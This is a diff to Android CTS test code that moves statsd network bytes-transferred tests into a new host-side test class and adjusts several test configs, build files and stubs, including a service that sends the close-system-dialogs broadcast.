@@ -28,6 +28,7 @@
"src/**/jobscheduler/*.java",
"src/**/integrity/*.java",
"src/**/memory/*.java",
+ "src/**/net/*.java",
"src/**/notification/*.java",
"src/**/permissionstate/*.java",
"src/**/settingsstats/*.java",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index 4b47a81..1addfa5 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -207,6 +207,7 @@
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_CREDENTIALS, 104);
+ APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, 105);
}
@Test
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
new file mode 100644
index 0000000..8e4ca4d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.net;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import android.telephony.NetworkTypeEnum;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class BytesTransferredTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+
+ private IBuildInfo mCtsBuild;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ assertThat(mCtsBuild).isNotNull();
+ // Put a delay to give statsd enough time to remove previous configs and
+ // reports, as well as install the test app.
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.installTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_APK,
+ DeviceUtils.STATSD_ATOM_TEST_PKG, mCtsBuild);
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.uninstallTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG);
+ super.tearDown();
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ // TODO: inline the contents of doTestUsageBytesTransferEnable
+ public void testDataUsageBytesTransfer() throws Throwable {
+ final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
+
+ doTestDataUsageBytesTransferEnabled(true);
+
+ // Remove old configs from disk and clear any pending statsd reports to clear history.
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+
+ doTestDataUsageBytesTransferEnabled(false);
+
+ // Restore to original default value.
+ setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
+ }
+
+ public void testMobileBytesTransfer() throws Throwable {
+ // Tests MobileBytesTransfer, passing a ThrowingPredicate that returns TransferredBytes,
+ doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/true,
+ (atom) -> {
+ final AtomsProto.MobileBytesTransfer data = atom.getMobileBytesTransfer();
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), data.getUid());
+ }
+ );
+ }
+
+ public void testMobileBytesTransferByFgBg() throws Throwable {
+
+ doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER,
+ /*isUidAtom=*/true,
+ (atom) -> {
+ final AtomsProto.MobileBytesTransferByFgBg data =
+ atom.getMobileBytesTransferByFgBg();
+ if (!data.getIsForeground()) {
+ return null;
+ }
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), data.getUid());
+ }
+ );
+ }
+
+ // TODO(b/157651730): Determine how to test tag and metered state within atom.
+ public void testBytesTransferByTagAndMetered() throws Throwable {
+ doTestMobileBytesTransferThat(Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER,
+ /*isUidAtom=*/true,
+ (atom) -> {
+ final AtomsProto.BytesTransferByTagAndMetered data =
+ atom.getBytesTransferByTagAndMetered();
+ if (data.getTag() != 0 /*app traffic not generated on tag 0*/) {
+ return null;
+ }
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), data.getUid());
+ }
+ );
+ }
+
+ private static class TransferredBytes {
+ final long mRxBytes;
+ final long mTxBytes;
+ final long mRxPackets;
+ final long mTxPackets;
+ final long mAppUid;
+
+ public TransferredBytes(
+ long rxBytes, long txBytes, long rxPackets, long txPackets, long appUid) {
+ mRxBytes = rxBytes;
+ mTxBytes = txBytes;
+ mRxPackets = rxPackets;
+ mTxPackets = txPackets;
+ mAppUid = appUid;
+ }
+ }
+
+ @FunctionalInterface
+ private interface ThrowingPredicate<S, T extends Throwable> {
+ TransferredBytes accept(S s) throws T;
+ }
+
+ private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
+ // Set value to enable/disable combine subtype.
+ setNetworkStatsCombinedSubTypeEnabled(enable);
+
+ doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/
+ false, (atom) -> {
+ final AtomsProto.DataUsageBytesTransfer data =
+ atom.getDataUsageBytesTransfer();
+ final boolean ratTypeEqualsToUnknown =
+ (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+ final boolean ratTypeGreaterThanUnknown =
+ (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+
+ if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
+ && ((enable && ratTypeEqualsToUnknown)
+ || (!enable && ratTypeGreaterThanUnknown))) {
+ // Assert that subscription info is valid.
+ assertSubscriptionInfo(data);
+ // DataUsageBytesTransferred atom does not report app uid.
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), /*appUid=*/-1);
+ }
+ return null;
+ });
+ }
+
+ private void doTestMobileBytesTransferThat(int atomId, boolean isUidAtom,
+ ThrowingPredicate<Atom, Exception> p)
+ throws Throwable {
+ if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) return;
+ // Upload the config.
+ final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+ DeviceUtils.STATSD_ATOM_TEST_PKG);
+ if (isUidAtom) {
+ ConfigUtils.addGaugeMetricForUidAtom(config, atomId, /*uidInAttributionChain=*/false,
+ DeviceUtils.STATSD_ATOM_TEST_PKG);
+ } else {
+ ConfigUtils.addGaugeMetric(config, atomId);
+ }
+ ConfigUtils.uploadConfig(getDevice(), config);
+ // Generate some mobile traffic.
+ DeviceUtils.runDeviceTests(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, ".AtomTests",
+ "testGenerateMobileTraffic");
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ // Force poll NetworkStatsService to get most updated network stats from lower layer.
+ DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ "PollNetworkStatsActivity",
+ /*actionKey=*/null, /*actionValue=*/null);
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ // Trigger atom pull.
+ AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ final List<Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice(),
+ /*checkTimestampTruncated=*/true);
+ assertThat(atoms.size()).isAtLeast(1);
+ boolean foundAppStats = false;
+ for (final Atom atom : atoms) {
+ TransferredBytes transferredBytes = p.accept(atom);
+ if (transferredBytes != null) {
+ foundAppStats = true;
+ // Checks that the uid in the atom corresponds to the app uid and checks that the
+ // bytes and packet data are as expected.
+ if (isUidAtom) {
+ final int appUid = DeviceUtils.getAppUid(getDevice(),
+ DeviceUtils.STATSD_ATOM_TEST_PKG);
+ assertThat(transferredBytes.mAppUid).isEqualTo(appUid);
+ }
+ assertDataUsageAtomDataExpected(
+ transferredBytes.mRxBytes, transferredBytes.mTxBytes,
+ transferredBytes.mRxPackets, transferredBytes.mTxPackets);
+ }
+ }
+ assertWithMessage("Data for uid " + DeviceUtils.getAppUid(getDevice(),
+ DeviceUtils.STATSD_ATOM_TEST_PKG)
+ + " is not found in " + atoms.size() + " atoms.").that(foundAppStats).isTrue();
+ }
+
+ private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
+ assertThat(rxb).isGreaterThan(0L);
+ assertThat(txb).isGreaterThan(0L);
+ assertThat(rxp).isGreaterThan(0L);
+ assertThat(txp).isGreaterThan(0L);
+ }
+
+ private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
+ assertThat(data.getSimMcc()).matches("^\\d{3}$");
+ assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
+ assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
+ }
+
+ private boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
+ final String output = getDevice().executeShellCommand(
+ "settings get global netstats_combine_subtype_enabled").trim();
+ return output.equals("1");
+ }
+
+ private void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
+ getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
+ + (enable ? "1" : "0"));
+ }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
new file mode 100644
index 0000000..f78f90b
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
@@ -0,0 +1,12 @@
+# These atom tests are co-owned by statsd and network team
+jchalard@google.com
+jeffreyhuang@google.com
+jtnguyen@google.com
+junyulai@google.com
+lorenzo@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+sudheersai@google.com
+tsaichristine@google.com
+yro@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 85de6dd..38afc63 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -786,104 +786,7 @@
assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
}
-/*
- public void testMobileBytesTransfer() throws Throwable {
- final int appUid = getUid();
- // Verify MobileBytesTransfer, passing a ThrowingPredicate that verifies contents of
- // corresponding atom type to prevent code duplication. The passed predicate returns
- // true if the atom of appUid is found, false otherwise, and throws an exception if
- // contents are not expected.
- doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
- final AtomsProto.MobileBytesTransfer data = ((Atom) atom).getMobileBytesTransfer();
- if (data.getUid() == appUid) {
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- return true; // found
- }
- return false;
- });
- }
-*/
-/*
- public void testMobileBytesTransferByFgBg() throws Throwable {
- final int appUid = getUid();
-
- doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
- final AtomsProto.MobileBytesTransferByFgBg data =
- ((Atom) atom).getMobileBytesTransferByFgBg();
- if (data.getUid() == appUid && data.getIsForeground()) {
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- return true; // found
- }
- return false;
- });
- }
-
- private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
- assertThat(data.getSimMcc()).matches("^\\d{3}$");
- assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
- assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
- }
-
- private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
- // Set value to enable/disable combine subtype.
- setNetworkStatsCombinedSubTypeEnabled(enable);
-
- doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
- final AtomsProto.DataUsageBytesTransfer data =
- ((Atom) atom).getDataUsageBytesTransfer();
- final boolean ratTypeEqualsToUnknown =
- (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
- final boolean ratTypeGreaterThanUnknown =
- (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-
- if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
- && ((enable && ratTypeEqualsToUnknown)
- || (!enable && ratTypeGreaterThanUnknown))) {
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- // Assert that subscription info is valid.
- assertSubscriptionInfo(data);
-
- return true; // found
- }
- return false;
- });
- }
-
- public void testDataUsageBytesTransfer() throws Throwable {
- final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
-
- doTestDataUsageBytesTransferEnabled(true);
-
- // Remove config from memory and disk to clear the history.
- removeConfig(CONFIG_ID);
- getReportList(); // Clears data.
-
- doTestDataUsageBytesTransferEnabled(false);
-
- // Restore to original default value.
- setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
- }
- // TODO(b/157651730): Determine how to test tag and metered state within atom.
- public void testBytesTransferByTagAndMetered() throws Throwable {
- final int appUid = getUid();
- final int atomId = Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER;
-
- doTestMobileBytesTransferThat(atomId, (atom) -> {
- final AtomsProto.BytesTransferByTagAndMetered data =
- ((Atom) atom).getBytesTransferByTagAndMetered();
- if (data.getUid() == appUid && data.getTag() == 0) { // app traffic generated on tag 0
- assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
- data.getRxPackets(), data.getTxPackets());
- return true; // found
- }
- return false;
- });
- }
-*/
public void testPushedBlobStoreStats() throws Exception {
StatsdConfig.Builder conf = ConfigUtils.createConfigBuilder(
DeviceUtils.STATSD_ATOM_TEST_PKG);
@@ -989,53 +892,6 @@
assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
}
- private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
- assertThat(rxb).isGreaterThan(0L);
- assertThat(txb).isGreaterThan(0L);
- assertThat(rxp).isGreaterThan(0L);
- assertThat(txp).isGreaterThan(0L);
- }
-
-// private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
-// throws Throwable {
-// if (!hasFeature(FEATURE_TELEPHONY, true)) return;
-//
-// // Get MobileBytesTransfer as a simple gauge metric.
-// final StatsdConfig.Builder config = getPulledConfig();
-// addGaugeAtomWithDimensions(config, atomTag, null);
-// uploadConfig(config);
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// // Generate some traffic on mobile network.
-// runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGenerateMobileTraffic");
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// // Force polling NetworkStatsService to get most updated network stats from lower layer.
-// runActivity("StatsdCtsForegroundActivity", "action", "action.poll_network_stats");
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// // Pull a report
-// setAppBreadcrumbPredicate();
-// Thread.sleep(WAIT_TIME_SHORT);
-//
-// final List<Atom> atoms = getGaugeMetricDataList(/*checkTimestampTruncated=*/true);
-// assertThat(atoms.size()).isAtLeast(1);
-//
-// boolean foundAppStats = false;
-// for (final Atom atom : atoms) {
-// if (p.accept(atom)) {
-// foundAppStats = true;
-// }
-// }
-// assertWithMessage("uid " + getUid() + " is not found in " + atoms.size() + " atoms")
-// .that(foundAppStats).isTrue();
-// }
-
- @FunctionalInterface
- private interface ThrowingPredicate<S, T extends Throwable> {
- boolean accept(S s) throws T;
- }
-
public void testAppForegroundBackground() throws Exception {
Set<Integer> onStates = new HashSet<>(Arrays.asList(
AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
diff --git a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
index 0b4882a..da566c5 100644
--- a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
+++ b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
@@ -111,8 +111,8 @@
}
// Clear activity
device.executeShellCommand(CLEAR_COMMAND);
- // No mobile data or wifi or bluetooth to start with
- device.executeShellCommand("svc data disable; svc wifi disable; svc bluetooth disable");
+ // No mobile data or wifi to start with
+ device.executeShellCommand("svc data disable; svc wifi disable");
// Clear logcat.
device.executeAdbCommand("logcat", "-c");
// Ensure the screen is on, so that rssi polling happens
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
index d5c3548..81f1765 100644
--- a/tests/BlobStore/AndroidTest.xml
+++ b/tests/BlobStore/AndroidTest.xml
@@ -32,10 +32,14 @@
<option name="teardown-command" value="cmd blob_store idle-maintenance" />
</target_preparer>
+ <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Disable hidden API checking, see b/166236554 -->
- <option name="run-command" value="settings put global hidden_api_policy 1" />
- <option name="teardown-command" value="settings delete global hidden_api_policy" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/admin/AdminWorkProfileTest.xml b/tests/admin/AdminWorkProfileTest.xml
deleted file mode 100644
index af93ea1..0000000
--- a/tests/admin/AdminWorkProfileTest.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<configuration description="Config for CTS Device Admin test cases on a work profile">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="framework" />
- <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
- here are not applicable -->
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
- <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="install-arg" value="-t" />
- <option name="test-file-name" value="CtsAdminApp.apk" />
- <option name="test-file-name" value="CtsAdminTestCases.apk" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunOnWorkProfileTargetPreparer">
- <option name="test-package-name" value="android.admin.cts" />
- <option name="test-package-name" value="android.admin.app" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.admin.cts" />
- <option name="include-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
- <!-- <option name="instrumentation-arg" key="skip-test-teardown" value="true" />-->
- </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 169cd71..b7197a4 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -32,9 +32,6 @@
"cts",
"general-tests",
],
- test_options: {
- extra_test_configs: ["AdminWorkProfileTest.xml"]
- },
instrumentation_for: "CtsAdminApp",
sdk_version: "test_current",
}
diff --git a/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java b/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java
deleted file mode 100644
index 9fd923e..0000000
--- a/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.admin.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.compatibility.common.util.enterprise.DeviceState;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile;
-
-import org.junit.ClassRule;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.os.UserManager;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceAdminTempTest {
-
- private static final Context sContext = ApplicationProvider.getApplicationContext();
-
- @ClassRule @Rule
- public static final DeviceState sDeviceState = new DeviceState();
-
- @RequireRunOnWorkProfile
- @Test
- public void testRunningOnWorkProfile() {
- assertThat(sContext.getSystemService(UserManager.class).isManagedProfile()).isTrue();
- }
-}
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 5cab76e..d1085c7 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -1157,12 +1157,4 @@
} catch(SecurityException e) {
}
}
-
- public void testHasKeyPair_failIfNotOwner() {
- if (!mDeviceAdmin) {
- Log.w(TAG, "Skipping testHasKeyPair_failIfNotOwner(), no device_admin feature");
- return;
- }
- assertThrows(SecurityException.class, () -> mDevicePolicyManager.hasKeyPair("some-alias"));
- }
}
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 451f8ca..8186c89 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -31,7 +31,8 @@
"androidx.test.rules",
"platform-test-annotations",
"platformprotosnano",
- "permission-test-util-lib"
+ "permission-test-util-lib",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
diff --git a/tests/app/app/Android.bp b/tests/app/app/Android.bp
index 19e3fcc..c4f2587 100644
--- a/tests/app/app/Android.bp
+++ b/tests/app/app/Android.bp
@@ -29,6 +29,8 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "testng",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
@@ -59,6 +61,7 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
@@ -92,6 +95,7 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
@@ -125,6 +129,7 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 521d6b9..6ab3255 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -492,6 +492,9 @@
android:exported="true"
android:isolatedProcess="true">
</service>
+
+ <service android:name=".CloseSystemDialogsTestService"
+ android:exported="true" />
</application>
</manifest>
diff --git a/tests/app/app/src/android/app/stubs/CloseSystemDialogsTestService.java b/tests/app/app/src/android/app/stubs/CloseSystemDialogsTestService.java
new file mode 100644
index 0000000..46b07f2
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/CloseSystemDialogsTestService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Service;
+import android.app.stubs.shared.ICloseSystemDialogsTestsService;
+import android.content.Context;
+import android.content.Intent;
+import android.os.IBinder;
+
+/**
+ * This is a bound service used in conjunction with CloseSystemDialogsTest.
+ */
+public class CloseSystemDialogsTestService extends Service {
+ private final ICloseSystemDialogsTestsService mBinder = new Binder();
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder.asBinder();
+ }
+
+ private class Binder extends ICloseSystemDialogsTestsService.Stub {
+ private final Context mContext = CloseSystemDialogsTestService.this;
+
+ @Override
+ public void sendCloseSystemDialogsBroadcast() {
+ mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+ }
+ }
+}
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 9d110f0..b34eece 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -246,7 +246,7 @@
int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
intent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
final PendingIntent pendingIntent = PendingIntent.getForegroundService(context, 0,
- intent, 0);
+ intent, PendingIntent.FLAG_IMMUTABLE);
sPendingIntent.put(targetPackage, pendingIntent);
}
diff --git a/tests/app/shared/Android.bp b/tests/app/shared/Android.bp
new file mode 100644
index 0000000..8c2b89d
--- /dev/null
+++ b/tests/app/shared/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+java_library {
+ name: "CtsAppTestStubsShared",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.aidl",
+ ],
+}
diff --git a/tests/app/shared/README.md b/tests/app/shared/README.md
new file mode 100644
index 0000000..26bfe61
--- /dev/null
+++ b/tests/app/shared/README.md
@@ -0,0 +1,2 @@
